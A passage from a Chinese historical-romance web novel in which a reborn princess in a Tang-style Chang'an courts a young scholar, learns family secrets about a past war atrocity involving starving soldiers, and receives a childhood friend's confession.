程晚微微抬起衣袖也跟着嗅了嗅,以为她不喜欢这个味道。
她又问:“好吃吗?”
姜宝来自然以为他会说:自是比不上公主府的美味。
但程晚却笑着答:“味道的确很不错。”
姜宝来有些意外,很快说:“那改日你给我带来一份。”
“我只吃过民间的胡饼,还是哥哥每次买给我的。”说着她垂眸看向小书案,示意着程晚。
程晚很快俯身提笔,姜宝来见他神情专注在作画便自顾坐在一旁吃起酒来。
这一次不知为何她大胆望向了荷花池。
许久,她说:“程子煦,你有没有在梦里梦见过我?”
程晚手中的笔一顿,而后很快又画了起来。他如实道:“不曾。”
“那我为什么梦见过你?”
程晚一边作画一边回答:“人一日里来来往往所见的皆记在脑中,夏季夜长许有所梦。”
姜宝来笑了笑
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:“那程子煦,你会不会害我?”
程晚这一次忽然回眸看她,紧接着搁笔退后了一步,行礼道:“臣不会害公主。”
“绝不会。”
姜宝来顺势起了身,朝着书案上的画瞥了一眼,谁料那画中人竟然是个身着橙罗衣的女郎。女郎倚在凉台的美人靠上舒适的吃着酒,身后不是碧绿的荷花池,而是一片蔷薇花。
这不是她吗?
姜宝来蓦地鼓起了两腮,似带着一缕愠怒道:“我是门神?”
程晚笑得甚是和煦:“臣说过,公主自有神明庇佑。”
姜宝来道:“别与我一个一个臣,我还以为我穿着官袍在朝会听着一群小老头唠唠叨叨呢!”
程晚闻言忽然笑了出来。
姜宝来盯着他一瞬,道:“哦,对了。你的表字为子煦?煦为晨光,亦为春风和煦,是个好名字。程子煦你笑起来是挺好看的。”
冬雪这时在后禀道:“公主,晚膳已备好。”
程晚听在耳里,道:“天色已不早,子煦告退。”
但程晚还未转过身,便听见她道:“我让你走了吗?”
“程子煦,我要你座下!”
程晚站定,又听她说:“不知你喜欢吃什么随便让人备下了,你幸苦画了门神我总要犒劳你一下吧?”
侍女们不知何时已悉数退了出去,偌大的公主闺阁里只剩下一明媚俏丽的女郎,与一个刚过弱冠从少年成为男人的温润郎君。
程晚道:“公主,这于理不合。”
姜宝来走近他盯着他看个不停:“什么合?什么又是不合?若非要论不合,不合的事多了去了,难道我桩桩件件都要遵守吗?”
堂堂一国公主神不知鬼不觉的被人毒死。
这合理吗?
姜宝来轻哼了一声,很是霸道地说:“今日这饭你不想吃也得吃!”
“还是你今日吃饱了?难不成是平日里学馆外那些提着食盒,等着你校书郎出现的姑娘们给你送吃食,你受了?”
程晚解释:“臣从未接受。”
姜宝来忽然再朝他走近了一步,仿佛那日的青龙寺相遇,那一厘间的距离:“那要不要改日由我去说一说,表个态度,好让她们知道这面白如玉的少年郎到底是谁家的!”
程晚闻言微微一顿,突地耳尖又微微红了起来,随后他温和一笑,似有些拿这个公主没了办法,便乖乖地坐了下去。
但姜宝来发现只要她不动箸他并不用食。
她开口问:“要我喂你?”
程晚眼眸忽地又一颤,这才动了箸。他今日着了一身汉白玉色的长袍,仍然玉冠束发,倒是很衬他那一张干净澄澈的面容。
他端坐在饭桌前,慢条斯理用着饭。
姜宝来看他只吃他面前的那几道菜,见侍女们都退了出去,便想自己起身将那些菜肴统统换一遍位置。
程晚悟出她的用意,先她一步起了身道:“我来。”
二人相安无事地用了一顿晚食已将至黄昏,姜宝来看片映进窗的余晖,道:“程子煦,若我有恙,你可护我?”
程晚含笑,神色温和:“公主可还想遇到子煦?若真有此机遇,那子煦定是神明派来护卫公主的。”
程晚离开长乐宫不久,覃楹端上了一盘红彤彤的樱桃。姜宝来有些茫然,她有些时日没享用樱桃,又仔细想了想当日时安送来的果子好像是一筐的桃子。
她问:“哪来的?”
覃楹道:“是校书郎带来的。”
这回姜宝来倒是有些诧异了。她在新岁或是生辰时的收礼都是一些奇珍异宝,抑或些坊间所得不寻常的稀奇物件。可从没有这些市井里能买到的东西。
姜宝来从盘子里拿了樱桃吃下了一颗,嘟哝道:“真是个奇怪的人。”
11. 前尘
时安牵着驴子赶在城里宵禁前去了公主府,驴背上驮着一筐季夏的时鲜果子、一筐自家郎君从各处搜罗来的罕见器物。
或是出自波斯的女郎们都喜欢的珍宝首饰盒,或是一些供在几上的奇特摆件、巧夺天工的琉璃高足杯、或是可装香料的金香囊。
自家郎君自幼就爱慕大明宫里的那位小公主,时安作为郎君身边的书童、侍从也自幼就懂得这个道理。
但这书童还没当多少时日,郎君便将笔杆子换成了长矛从此研习武术来。
郎君说:长安城里的儿郎多着,文采出众的比比皆是,他想做个特别的,比如像淮南王那样的。也想有一日能更配得上长安城里的小公主。
时安以为郎君吃醉了酒,在旁挤眉弄眼提醒,有些话当年可以说,如今可不兴说。
谁想魏翊扬笑哈哈道:“那又如何?他的功绩是真真切切存在于这个时代的。”
谁想公主府的门还没见着,便见一俊俏郎君从公主府里走了出来,面上还带着和煦的笑意。
时安一时纳罕这个时辰还能来往公主府的外男,也不敢耽搁,连陪伴多年的驴子也顾不得了,将它绑在了公主府外的石头狮上,忙不迭去寻了目下在坊里巡街的魏翊扬。
近日他一直在追寻那伙突然出现在城里的盗贼,却一直未果。抓到了几人抵死不招,便知这是个小头目后面还有坐镇的。
谁想就在今日晨间,天还未完全亮,手下便有人来报昨夜那伙余贼出现在了兴化坊,趁黑摸进了归德将军的府邸,被归德将军一手抹杀,其余的则被一路过的江湖侠士放倒在了坊中,都没了气。
兴化坊的居人都是一些达官显贵,即是入朝为官的人士这些年来家底也是极其丰厚的。何况归德将军也在其中,长明帝逢年过节的赏赐,金银珠宝一匣子一匣子进了将军府,满长安城的人都知道,这些猖狂的盗匪自然也知道。
接连追踪好几日的盗匪,衙署里的这些卫士都没有机会进家门,上面的赵将军又下了严令,几日也未能阖眼好眠。
这日终于有了结果,卫士们都高高兴兴回了家。赵将军也给他们摆了宴席,为此犒劳这些忙碌多日的府兵。
但魏翊扬总觉得哪里有些不对。
归德将军当年原本是淮南王麾下的人,当年辽东一役前作战时受了伤一直未见好转,淮南王请旨后,长明帝体恤这些臣子,便没有让他随军前往辽东。
后来辽东一役事发,归德将军代替了淮南王的位置为国征战。长明帝为此特敕封为官阶从三品的归德将军。这些年来也备受百姓敬重。
在战场上归德将军有个传言:将军背阔如熊,身高七尺,高大勇猛。战场上手擒敌人犹如拎着个淘气小儿。
即是这般让敌军忌惮的归德将军,这些猖狂未曾上过战场的山贼为何自投罗网?
魏翊扬在街上揣摩了半晌,一不留神走到了曲江池边,冷不防与前来寻他,东市找西市瞧的时安撞到了一起。
魏翊扬抬眼看了眼时安,见他面色慌张,额头上大颗大颗汗珠朝衣襟上淌,瞳孔蓦地一缩,心下一沉道:“可是阿娘……”
时安见郎君误会,忙摆手:“不是,不是夫人。郎君,这长安城的天要塌了啊!我依郎君令去公主府给公主送鲜果,谁想碰见一个俊秀的小郎君在公主府出来。郎君,你若再不努努力,这驸马可就是他人的了。”
魏翊扬听了时安的话先是松了口气,后又拧了拧眉。
“不是殿下?”
时安一拍大腿,满面焦躁地说:“郎君,我还没那么眼盲糊涂。”
魏翊扬又问:“可是笑起来嘴角边能装下一颗小豆子的?”
时安闻言仔细回忆了一瞬,想起月色下那俏郎君离府时面带着笑意,嘿,还真是!
时安正要开口,却见刚还在眼前的人忽然没了踪影。
-
翌日天气晴朗,晨光从凉台上大敞四开的槛窗透到了内殿里。
姜宝来洗漱完毕,正在用着鲜美朝食。
在民间,百姓们的朝食多大会用一些粥食、或是酥软的油炸果、热腾腾的一碗馎饦。家世显赫的日日吃惯了山珍海味,一日清晨也没有了胃口,食些清淡小菜,粥食酥饼。便是大明宫的君王、妃嫔也有日日大鱼大肉吃腻的时候。
但长乐宫却是多年如一日的一日三餐,餐餐美味佳肴。
姜宝来胃口极好,长明帝又极其疼爱这个小女儿,当年极其稀缺昂贵的胡椒在大食进贡皇室时,长明帝也大量赏给了公主府。
听闻胡椒调味极美味,当日姜宝来便让府上的厨娘研究起了菜食。
一道胡椒羊肉汤自公主府出去送往了大明宫的紫宸殿,长明帝欣慰过后也随着爱女大快朵颐享用了三碗,为此当夜内侍王贤又亲自带着长明帝赏赐的奇珍异宝、绫罗绸缎去了长乐宫。又将那道胡椒羊肉汤带去了东宫。
不过当年嘉福公主连夜将那道盛满了孝心的菜肴送去紫宸殿也是有缘由的。
彼时骊山秋猎,姚淑妃的儿子齐王为狂追一头冲撞了长明帝的野猪,不甚摔伤了一条腿。最后被禁军找到时,口中不停呓语:“父皇——”
“父皇——”
长明帝当即红了眼眶,在骊山围场内父子二人上演了一场催人泪下。
骊山一行以齐王痛失一条腿而告终,经兄弟两个一比较,长明帝为此还冷落了东宫些许时日,一日早朝还当着文武百官面难得轻斥了太子姜朔玉。
姜宝来在长乐宫听闻此事,正想着如何进宫一趟,王贤便带着宫中的贡品去了公主府。
她们兄妹两个自幼丧母,又在知事后明白姚淑妃成了其母谢皇后的替身,连带着齐王殿下也跟着子凭母贵。
长明帝疼爱谢皇后最后留在世的幼女,姜宝来不费吹灰之力以一道孝心汤让长明帝龙颜大悦。
事后多日闭门不出的姜宝来坐在长乐宫,有侍女在旁陪下着双陆,听着多吉从头到尾,毫无遗漏地禀报,她心情大好,带着哥哥几日前送给她的凤头鹦鹉阿媚出了公主府,打了一整日的马球。从日晒三竿打到太阳落山,一球悠到了齐王平日来马球场暂歇的地方,打坏了他最喜欢的那扇山水屏风。
姜宝来甚是扬眉吐气:“若让姚淑妃母子有了空子可钻,将来苦的就是我们兄妹!”
-
荷塘外的一树火红石榴花树开得正艳,姜宝来坐在凉台的美人靠上,背对着一池碧波,刚拿了小匙喝了一口炖得鲜美入味的鲫
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鱼汤,便听身后荷塘里“咚”的一声响。
雾萝在旁服侍着公主用饭吓了一跳,打了一个激灵,伸着脖子朝下望了望,以为是池塘里的假山碎石脱落。
姜宝来听到此响耳朵动了动,随后恍若未闻般用完了朝食。
覃楹将今日去谢家所需携带的什物备好回到了殿中,这边姜宝来已重新换上了一身衣裙正待出门。
自外祖父去后,这些年来她时常会去看望寡居的外祖母汤老夫人。只是近来她被在御苑毒杀一事扰得,已多日未去谢家。
但今日姜宝来却没让她们随侍在一旁,而是唤过多吉,一前一后出了公主府。
姜宝来看着还未过五旬已花白了头的多吉,开口问:“有没有好好吃药?”
多吉前几日生了一场病,若不是平日里一直近身守卫在她身边,那几日却远远地跟着让她有所发觉,这还不知他已病了多日。
多吉在旁笑弯了眼,恭声道;“劳小公主挂念,奴已痊愈了。”
姜宝来轻哼了一声,道:“谁说我挂念了?我只是问问。我还以为多吉的耳朵也失灵了。”
多吉仍然笑眯眯地,一脸的慈蔼模样:“奴刚才听到了,也见到了。奴终有老去的一天,到那时便不会在小公主身边护你的安危了。奴会去见小姐、去见老爷……唯独再也守护不住公主。”
姜宝来鼓起了两腮,听着多吉在旁的唠叨:“那魏翊扬就会护着我?”
-
姜宝来临时要去谢家探望外祖母汤氏,府里的人不知公主要来便没有作准备,直到姜宝来带着一行人走到了汤老夫人居室的房檐下,也没一个人敢通禀。
因为公主已下了噤令。
炎炎盛夏,汤老夫人的主屋里开了两扇小窗,也正因此,一主一仆的对话都尽数让姜宝来听了去。
老人家年纪大了,一到酷暑时节便没了胃口。近身服侍的翠娘刚熬了一锅凉丝丝的绿豆饮端去了主院,汤氏却无论如何也吃不下。
翠娘在旁劝着,汤老夫人却连连摆着手不肯喝:“你也知我是有心火,哪里就是一碗冰凉的绿豆饮可消解的?”
“……近来也不知是怎么了,常常梦见珍儿、梦见她父亲,那个早扔下我一个人的老头子。还有之恒那个孩子……”
“我很多时候都觉得,当年若是再坚持,再果断一些,不让珍儿进宫便好了。当年珍儿那般顽固的性子,一心钻研着医术,幼时还与我念叨着长大了想去当个游医,后来却是进了宫被那四方天困住了一生。”
当年谢瑶珍为生下幼女骤然去世,汤老夫人为此痛哭了一场,昏厥过后许多往事都不大记得。太子姜朔玉为此还下了令,从此谢氏宅邸众仆也不再提及当年的种种。
但今日外祖母却难得与翠娘谈起了此事。
当年的事对帝家姜氏来说就如心头的一根刺,也是一张遮羞布。一切也都要从她的皇祖父,前朝的君主,那位胸怀大略的寿昌皇帝认下的一个义子说起。
立在身旁的覃楹、雾萝见此纷纷不动声色地退了开来。
根扎在皇室的那些秘辛,他们自然明白听不得。不过当年轰动长安城,乃至整个王朝的辽东一役,如今便是啼哭的小儿也是懵懵懂懂知道的。
12. 往事
汤老夫人再一声嗟叹与翠娘说:“前两日我梦见了珍儿,穿着当年出嫁时的衣裳,直与我说要护住她的玉儿与宝儿。翠娘,你说珍儿是不是还没走远?”
“我想着会不会是前阵子街巷里的传闻,当年的那些事让珍儿感到不安,特来于我托梦。”
翠娘一时有些茫然,随后笑道:“老夫人,你这是做噩梦了。如今街巷里能有什么传言?要说长安城近来发生的事,还真有一件喜庆事,今年春日里长安城里又增添了几个才华横溢的学子,新科进士入朝为官,前阵子曲江池那里可热闹着。”
汤老夫人立时板起了脸,朝翠娘看去:“你不用唬弄我,老身不是三岁孩童,耳朵也还没有聋。”
姜宝来站在房檐下,又将耳朝着屋子的砖墙上贴了贴。
这事她过多过少的知道一些,当日在崇文馆她那三堂兄齐王世子也与沈川的弟弟沈琅说了几句。后来为着杨湘君连带着这件事二人大打了一架,当然她一点亏没有吃。
不过外祖母说起阿娘来托梦,她忽然想起民间一句俗语:知子莫若母。
女儿与母亲定是有心灵感应的。
阿娘她一定是知道了她被奸人所害,重活一世这件事。
难道这一世的重来是阿娘为她所求?
这些年为着顽疾缠身的哥哥,她并未过多去问阿娘的过往。轰动长安城的辽东一役、雪岭食婴,她也只是片面地知道一些。
当年哥哥在新岁坠湖,就是因为遣退了随侍自己去了阿娘生前的居处,后来伤心过度又醉了酒跌下了太液池。
而外祖母当年为此大病了一场,除去当年在阿娘身边的多吉与日日思念阿娘的父皇与她提过一些,她无从知晓。
翠娘踌躇在原地许久,也不叨念着让汤老夫人用了绿豆饮,一心想着定是院子洒扫的侍女们闲谈被汤老夫人听了去,眼见着汤老夫人威严地目光扫过,翠娘不得不败下阵来。
当年的事于谢家来说也是个不小的打击,因着谢家的独女谢瑶珍,中宫的谢皇后,就是因为突闻了此噩耗,自幼被她视为兄长的淮南王自缢在了回长安的路上,才动了胎气又血崩而亡。
彼时前朝动荡,将门裴家三位男儿奔赴沙场不幸满门战死。而裴家大郎与妻子刚刚成婚不过一年得知此噩耗也随之撞棺自尽,只留下一个还不足月的幼儿。
寿昌帝在义子与养子间抉择,最后将其子收为了义子,保留了其裴姓。赐名璟书,字之恒。
寿昌帝视裴璟书为亲子,敕封为淮南王,与太子姜敬虞二人情同手足。幼年时姜敬虞经裴璟书,结识了与裴家几代交好的陈郡谢氏——谢家独女谢瑶珍。
而后姜敬虞登基,改年号为长明,将青梅竹马的谢瑶珍册封为皇后。裴璟书则为国征战沙场,手握重兵。
长明九年冬,边境军情急报,长明帝速派义兄淮南王率领二十万大军前往边境平叛,但时逢辽东大雪,河流结冰,极尽严寒,便是山林里的野畜也有许多冻死。
待负责将粮草运到前线的的后勤部队将粮草运到时已消耗大半,二十万大军所需消耗的粮草又巨大。但早在大雪几日未停下,淮南王为防有不测便将请求朝廷再次送粮的密函发出。
但粮草耗尽时,将士们已忍饥月余时,驰援的粮草却久久未曾送到。早前还有边城的百姓们拿出自家的囤粮接济,兵士们一餐分成两餐吃,但二十万大军人数众多,百姓家中也无太多存粮。将士们开始吃起鼠虫树皮草根,甚至有初入军中的少年小兵吃起了能充饥却不易消耗的观音土。
淮南王省下自己的一半口粮给了底下的兵士,日日鼓舞众人。
城中的百姓见此,知道此次带兵伐敌的主将是胸怀广阔,一心为民的淮南王,甚至不惜将自己家中时日无多的病儿带到营帐乞求吃食。淮南王大骇,只道朝廷不会弃黎民于不顾,也不会弃这些在前线浴血奋战的将士。
直至一日酷寒冬雪的硝烟夜色中,淮南王带兵伐敌,本应留守在驻扎地,受伤的淮南王部下威远将军苏祈安却忽然擅调了驻营的其五千兵士擅离营帐,却不是为了援助淮南王,而是屠了全村男女老少与婴童一百一十七人。之后苏祈安跳了崖,将士们则杀疯了眼开始吃起婴童的肉,至几十户布衣百姓骨肉离散,家破人亡。
狄军被淮南王带领一众部下歼灭,却也在等待着盛怒之下的审判。威远将军苏祈安之举传回都城,引起轰动,众议汹汹,有布衣百姓言淮南王道貌岸然,送上门的病儿不食,背地里却令兵卒残食村中婴童。
苏祈安跟随淮南王沙场征战近二十载,边境百姓联合一纸纸以淮南王治下不严、人面兽心的诉状上达天听。
长明帝速派朝中重臣调查此事,再即刻将苏祈安其家眷暂软禁于苏家民宅时,苏祈安的妻儿却早在苏祈安出征后不久便销声匿迹,无影无踪了。
与此同时,长明帝派往辽东的众臣发现了崖底的尸骨与马匹碎肉。
直到这时,这场在辽东战役中发生的骇人之举的前因的真相也公布与众,因辽东多地大雪,负责运粮的转运使等人在大雪中坠马落崖。其他运粮草的兵士也悉数在路上冻死。
天灾人祸,苏祈安与五千因挨饿所致体弱的将士残杀数名婴童,不乏有人将苏祈安的跳崖当成了清醒时的忏悔。
五千兵士言之凿凿是威远将军苏祈安亲下的命令,待众人赶到雪岭时,苏祈安忽然发了疯持剑杀起百姓,将士们看着血,也疯了眼,村子里的男丁与妇人不好掌控,便纷纷去抢幼童,拿着火把就地生烤,闯进农户家中架起大锅水煮。
但淮南王大半生为黎国土沙场征战,为家国民安,不乏有布衣百姓北上长安为淮南王说情,也有朝臣为淮南王谏言数日。
五千兵士随之被加以镣铐欲带回都城等待三司会审的审判,淮南王等众部下也随之一同押解回京听候发落。
孰料,淮南王却自裁在了范阳的驿站内。
因寿昌帝义子,今长明帝义兄的缘故,负责押解淮南王等人回长安城的官员并未苛待淮南王。
当年陈郡谢氏与裴家、魏家几代世交,长明帝为此还特派了魏翊扬的父亲,彼时还为侍御史的魏林。
未赶路时负责前往辽东押解淮南王回长安的这一行人,只将其幽禁再驿站令军将严加看管。
最后令众人意想不到的却是在回长安城,经范阳过路的途中,淮南王自写下了一封认罪书,独揽了其责,言明当日他以其主将之命令苏祈安等人行得此事,本为秘密食婴计策却弄巧成拙。
将士不得果腹,辽东大雪,粮草迟来,是让残存的十余万大军生还?还是此战因忍饥所致,溃不成军,将士们手不能持长枪,击不得敌军,十万余大军一败涂地,到那时城门被毁,百姓流离失所,将国境沦为生灵涂炭之地?
就此淮南王背负了千古骂名畏罪自杀,其一生无妻无子,独一人来世
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独一人去。
汤老夫人提及当年的事心如刀绞,手中的鸠杖连连落地:“当年那般好的孩子,怎么就能行出此事来?老身不相信。可天意弄人,苏将军跳崖了,这些年他的一双妻儿也下落不明。当年的事谁又能来为之恒正名?”
翠娘怕汤老夫人因为这些伤心事伤了身,忙上前为她顺着气,见汤老夫人气息逐渐平静又去倒了一盏茶,服侍着她喝下。
汤老夫人长长地吐出一口气:“珍儿去了,还好她惦念的一双女儿还好好地活在在这个世上,玉儿自那年元日追了湖身子一直薄弱,但我知道玉儿他坐得稳那储君的位置。乐宁那孩子,老身与玉儿想的一样,只想她快快乐乐做个公主,他日再觅得个郎君作驸马,老身也没有什么可惦念的了。”
翠娘依旧在旁劝解着,柔声宽慰:“殿下是名正言顺的皇太子,任何人也越不过殿下去。公主也有多吉在身边守卫着,你只管安一百个心,该吃吃、该喝喝,殿下与公主瞧见了也能放心不是?”
姜宝来听外祖母突然提起多吉,有些诧异。而此刻随覃楹、雾萝几个退后的多吉,不在姜宝来身边的多吉,就如一只随时准备出动,时时刻刻观察着四周的豹子。
倘若他所护的幼崽有难,那这只强壮的豹子就会凶猛出击,与其他猛兽展开战斗。
汤老夫人忽然轻拍了拍翠娘的手,笑呵呵道:“我自然明白,那是个忠心的,我放心极了。当年他为了珍儿的安危,也因着少年陛下的猜疑心,自毁了容貌进了宫做了宦官守护珍儿。后来珍儿去了,他便留在了乐宁身边,我还有什么不放心的?翠娘……”
姜宝来本一只耳紧紧贴在砖墙上,听着屋子里的谈话,冷不防听到这个让她炸裂的消息,猛地抬起了头,立时手捂着唇,没忍住“啊呀”一声。
从前她只知多吉是谢家的护卫,也是阿娘的心腹,只知他对自己最忠心不过。
哪成想还有这层缘故。
汤老夫人话还未说完,猝然听见窗外一个女郎的声音响起,与翠娘都吓了一跳。
因着今日来谢家,她带着覃楹今早刚做好的金乳酥与八宝居的葫芦鸡,金乳酥香而不腻,葫芦鸡皮酥肉嫩卤得脱骨,汤氏瞧见多日未见得外孙女,也忘了她在房檐下偷听一事,笑哈哈地说:“老身就喜好这一口。”
翠娘将吃食接了过去,朝窗外望了一眼,见侍女们一个个都耸拉着头,便知公主已经来了好一会儿。
一时感到无奈又好笑,想着主仆两人的对话大抵都被公主听了去。
姜宝来也在这时脱了鞋履上了榻对翠娘说:“我也就喜好翠娘的梅子汤。”
翠娘闻言笑眯眯地退了下去:“奴这就去准备。”
听闻外祖母近日胃口不佳,姜宝来又盯着老人家用完了绿豆饮。她一手端着梅子汤饮下一口,心不在焉想着刚刚被她都听了去的谈话。
冷不防门外响起一声如沐春风的笑声:“孙儿长风来给外祖母请安了!”
姜宝来忽然咳了起来,呛出来的乌梅汁洒了一裙摆。
此朝风气素来开放不拘礼法,女儿家与郎君们也自是不用回避。魏翊扬自幼来谢家如进自家府邸,不受拘束惯了,一手挑了帘就进了屋子。
覃楹与雾萝就要拿了帕子,一左一右来给她擦,姜宝来一手接过胡乱擦擦又急忙穿戴好鞋履。
汤老夫人与翠娘笑:“你瞧瞧,像不像受惊了的小麻雀。”
13. 魏翊扬的告白
魏翊扬正好看到这一幕,垂眸笑了笑而后行礼。
昨夜听时安说起那日在御苑里情急之下将公主抱上步辇的人又出现在了公主府,他一时没忍住在公主府外转了一圈,回魏家又冲了个凉水浴。
今天天还没亮便爬上了公主府的那棵参天老树坐在了上面,望向还未点灯的长乐宫。
直到荷花池上的那几扇窗大打开,魏翊扬瞧见了一头戴珠翠的女郎坐在美人靠上,安安静静地用着朝食,这才大口咬起时安今早给他买来,挑了树枝递上来的胡饼。
时安絮絮叨叨念着诗,魏翊扬一个字也没听进去,时安以为是郎君伤了心,不免陪着他站在公主府的高墙外开导:“郎君,你这是得了一种病。”
“一种名为相思的病。”
魏翊扬一手将咬下一大口的胡饼又扔了回去:“从哪儿来回哪儿去。”
魏翊扬抬头看向矮几的点心和乌梅饮打趣道:“外祖母好偏心,只给乐宁梅子汤,孙儿的梅子汤去哪儿了?”
翠娘闻言又笑哈哈地取了凉饮。
魏翊扬轻咳了一声,瞧见罗汉床上,一手摆弄着刀叉,时不时叉下一块盐津梅子也不食的公主。他笑道:“今日不知乐宁在这儿……”
姜宝来立时插了嘴,佯装震惊:“你不知道么?”
“莫非今日我府里招了一只大猞猁?”
魏翊扬:“……”
汤老夫人见那两个小辈你一句我一句,她全然一句也听不懂,但这并不妨碍她今日高兴。
直到翠娘端了梅子汤进来,汤老夫人看看这个看看那个,笑道:“乐宁难得来也不要拘在老身这里,院子里石榴花开了,你们自去赏花游湖,待赏过了花,玩尽了兴,留在这陪外祖母用了午饭再回去吧。”
但姜宝来抬眸瞧了一眼魏翊扬,将刚刚叉起的一块盐津梅子吃了下去,说道:“我不去。”
魏翊扬道:“为何不去?”
姜宝来:“我要回府去抓猞猁!”
侍女们服侍着嘉福公主重新换了衣裙,汤老夫人却以“自己犯了困要小憩一会儿”执意将小孙女“逐”出了屋子。
直到二人走到了谢府的后花园,姜宝来忽然拽起腰间的小香囊回身砸了过去。
魏翊扬笑哈哈地一手接了过去,又重新还了过去。
姜宝来微微抬起了下巴:“有事?说。”
公主府的侍女与守卫们自觉退到了别处,魏翊扬看着自小便明媚、一身是胆的小公主,也自小便觉得这个帝家养尊处优的,被天下的君王与下一任的国主捧在手心里长大的公主,与其他世家姑娘不一样。
这个姑娘不似他自幼接触过的世家贵女端庄坐在一处,端起茶盏轻轻地抿,用食小口小口地吃,说话也轻言细语地说。若是有人在可以一坐就是几个时辰,逢宴席不喜欢吃得的菜肴也要装着喜欢笑眯眯吃完。
当真,好无趣。
但这位在他人口中说起的跋扈骄纵公主,跋扈?她没觉得,骄纵?想起幼时公主给他涂过的蔻丹,一面拉拽着他的手,一面面含着愠意,一双细细的蛾眉倒倏了起来:“你别动!再动涂花了!”
而吃饭时的公主:我不喜欢吃这个,我爱吃那个。
却是真性情。
当年她对他说若是他有了喜欢的姑娘他一定要对她说。
可这些年,那个喜欢的姑娘,一直就深深的装在心里。而这些年恐怕她也没有遇到喜欢的郎君。
但直到那个一笑起来嘴角边能装下一颗小豆子的那人出现。
比他俏吗?倒是有一些。比他有才华吗?倒是也有一些。
魏翊扬知道,他握住的是笔杆子,而他抄起的是长矛。
魏翊扬想着近日来他直觉姜宝来有些不大像往日,但这些时日一直在忙着盗匪一事,一直没腾出空闲问起这事。
他想了好一会儿,不禁皱起了眉头,问道:“可是郭培那小子?还是姚家的那登徒子?”
姜宝来坐在湖边的凉亭里,见他一时没作声便自顾欣赏起了一园子的石榴花。听到忽然提起郭培,她咯咯笑了起来:“你怎么还记着?我早忘了啊!”
“那你因为什么?”魏翊扬不死心地问。
姜宝来抬眸与他对视了半晌,默了好一会儿才说:“……小事一桩。”
魏翊扬见她神色平静,悠闲的神色吹着湖风,只觉这一刻岁月静好。
但时安口中,昨日前去公主府的不速之客又让他一颗刚刚放下的石头,又高悬了起来。
半晌,他道:“乐宁,这么多年过去了,我们都没遇见更合适的人,不若将就将就?我不似府中父亲姬妾成群,只会一生一世一双人。一辈子都对你好。听你的。你说东,我不敢往西。你让我去北,我也绝不敢往南。”
姜宝来还是第一次听他这般肺腑之言,谢家、裴家、魏家、几代交好,她自幼没了母后,哥哥在东宫并着乳娘将她带到懂事理,也因着哥哥思念母后的缘故,常带着幼年时的她去谢家看望外祖母,一来二去她的身边多了一个比她大不上两岁的魏翊扬。
当年,她的皇祖父,王朝的上一任君主寿昌皇帝许下的承诺:若义子淮南王有女,他日入主东宫为太子妃。
也是名正言顺的未来国母。
若义子淮南王有子,他日中宫得公主,则为驸马。
亦为名正言顺的驸马人选。
但当年的裴家无一人生还,那个素未谋面的义叔父尚还来得及娶妻生子便自缢在了范阳。
也为此这个自幼跟在她身后的魏家郎君,便成了长安城里人人都认为的,日后会尚得公主的驸马人选。
她是想选个驸马,也想这位驸马成为她的心腹。如不论她的择婿标准,魁梧、强壮,魏翊扬自然是最好的人选。所以这么糊里糊涂过去一辈子也不是不行,可是她并不开心。
姜宝来一手轻摇着团扇,摇着摇着忽然停了下来。
原来那团上的仕女采花图,让她不由想起了那日那个为她作画的玉面郎君。
姜宝来忽然道:“喜欢与合适哪个更重要?那喜欢又合适是不是这世间最难寻觅?”
傍晚,姜宝来陪着汤老夫人用了午膳,魏翊扬则因为母亲病症加重,被时安叫回了魏府。姜宝来听说此事,又让覃楹回了公主府带上百年老参与府里的御医去魏家瞧了瞧。
见天色尚早刚到未时,姜宝来离开了谢宅,走出府邸时她想了想,让抬步辇的仪卫将步辇送回府,换一顶寻常的马车来。并让覃楹去沈家请杨湘君出府。<
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这些年因杨恩先身为太子太傅的缘故,姜宝来自幼时常随姜朔玉去杨家赴宴,便与杨家姊妹自幼结识。
杨湘君比她要长上六岁,在所有人肃然生敬地等着帝家的公主驾临杨家时,这个杨家的长孙女却待她如幼妹杨文君一般。
杨湘君待她与别人的阿谀奉承不同,自幼便高贵不凡的嘉福公主自然也对她另眼相看。与杨家姐妹渐渐熟悉起来后,一次宫宴上嘉福公主偷饮了新进贡的烈酒,胡言乱语,甚至还将杨湘君认成了自己那素未谋面的阿娘。
姜宝来带着雾萝与多吉去了东市的东篱酒肆,她坐在二楼沿街的雅间里喝着店小二刚送上来的富平石冻春,又让雾萝再去取上一壶西域葡萄酒。
雾萝快去快回,看着眯眯眼惬意吃着酒的公主,好奇道:“公主为何这个时辰请杨姑娘出府?”
毕竟平日里公主可都是着人去沈家请杨姑娘到长乐宫的。
但直觉告诉雾萝,这缘故与鸿胪寺卿沈川有关,别看公主有时候笑眯眯的,心里早已经布上了局,生气着呢!
雾萝见公主一手执着酒壶,一手拿着盏倒酒,又欣赏起长安的胜景来。许久,才听公主忽然来了一句:“大宅门里规矩可多着呢!”
雾萝一点就通,听着公主的话,很快便明白了。
这沈家的规矩可不就是出奇的多,出奇的怪,听闻沈家申时便不让女子出府。而今日公主赶在这个时候请杨姑娘出府,摆明了是要坏了沈家这规矩。
既是公主相请,沈夫人心里便是有百般不愿、不痛快,也是不敢不从的。
覃楹没让姜宝来久等,约莫一盏茶过的功夫,杨湘君便来了东篱酒肆。
雾萝在旁为杨湘君斟酒,酒盏还没有倒满,便听公主悠然说了一句:“湘君姐姐,你想休了沈川吗?”
雾萝瞪大了眼睛,手一抖险些将葡萄酒洒到了盏外。
姜宝来见杨湘君含着笑意,安然自若地望着她,又一肘支在小窗边,一手摇着扇等着杨湘君慢慢思考。
又不忘补充一句:“我说的是休了他,可不是和离。”
杨湘君见姜宝来面色微醺,微微歪着头,双颊的淡抹胭脂下又多了一层浅浅桃花色。便将她面前的酒盏换掉,重新倒上了一盏清茶。
她道:“杨沈两家的婚约,自我还未出生便定下了。当年祖母感谢沈家老夫人的救命之恩,作为杨家的长孙女我可以遵从家族的决定,但嫁入沈家这恩我便算为家族还尽了。至于今后,若沈川愿意举案齐眉,我自也愿与他相敬如宾、和和美美。但沈川若给我的日子是磕磕绊绊,我也不是忍气吞声的,公主还请放心。”
覃楹在旁静侍,听到杨湘君的话,目露一丝诧异。
这个杨太傅的长孙女,居然并不是一个循规蹈矩的高门贵女。
作为杨家倾力培养的女儿,杨湘君从一出生便是注定要与妹妹杨文君不同。但这个在深居内闱中长大的世家女子,竟然并不是为家族利益而生的。
姜宝来手摇团扇的速度一点点慢了下来,盯着杨湘君瞧了半晌,才道:“不喜欢也不合适,这样的一生很难呀!”
杨湘君笑,温婉道:“那公主可是遇见喜欢又合适的人了?”
姜宝来却是没作声。
14. 遇袭
二人在东篱酒肆用了晚饭,天色也逐渐黑了下来。
